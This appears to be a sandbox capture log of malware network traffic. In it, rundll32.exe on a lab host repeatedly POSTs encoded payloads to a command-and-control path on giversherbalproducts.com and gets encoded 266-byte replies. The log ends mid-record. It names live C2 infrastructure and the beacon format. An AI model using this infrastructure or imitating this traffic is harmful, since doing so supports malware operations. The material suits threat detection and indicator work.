Oct 4, 2021 16:04:09.772726059 CEST	7501	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:09 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
364	192.168.2.3	50206	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:09.519996881 CEST	7500	OUT	POST /lBawcxb5/OSEJRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:09.961471081 CEST	7502	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:09 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
365	192.168.2.3	50207	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:10.153758049 CEST	7503	OUT	POST /lBawcxb5/eAQkHAV+eTMNKy0fMy8fPnwaeUZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:10.610320091 CEST	7504	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:10 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
366	192.168.2.3	50208	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:10.334379911 CEST	7504	OUT	POST /lBawcxb5/LHsgBQ4OEg8oLiR4Qn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:10.792984009 CEST	7505	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:10 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
367	192.168.2.3	50209	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:11.001580954 CEST	7506	OUT	POST /lBawcxb5/AQh6RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:11.593907118 CEST	7508	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:11 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
368	192.168.2.3	50210	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:11.119358063 CEST	7507	OUT	POST /lBawcxb5/GxNyGCI/LH8FDn4dKhZ3Kj0CNi4fLTIHIT4+HUV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:11.560416937 CEST	7508	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:11 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
369	192.168.2.3	50211	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:11.894623041 CEST	7510	OUT	POST /lBawcxb5/fDovHR4MJAE7IAITfnhGenN5Yn59cmV+YXg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:12.336735964 CEST	7511	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:11 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49792	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:29.256607056 CEST	1124	OUT	POST /lBawcxb5/Hh8fPwgIJRkuIzgrOjp5HjovOkZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:29.700381041 CEST	1125	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:29 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpzdUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
370	192.168.2.3	50212	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:11.978151083 CEST	7510	OUT	POST /lBawcxb5/eTAldSQqE38hADgEe38beDBCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:12.459753990 CEST	7512	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:12 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
371	192.168.2.3	50213	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:12.717978954 CEST	7513	OUT	POST /lBawcxb5/DCN9DjcGDiYmIB8OeB4gLnM/GScxBAgmCSAiBkV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:13.217262983 CEST	7514	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:12 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 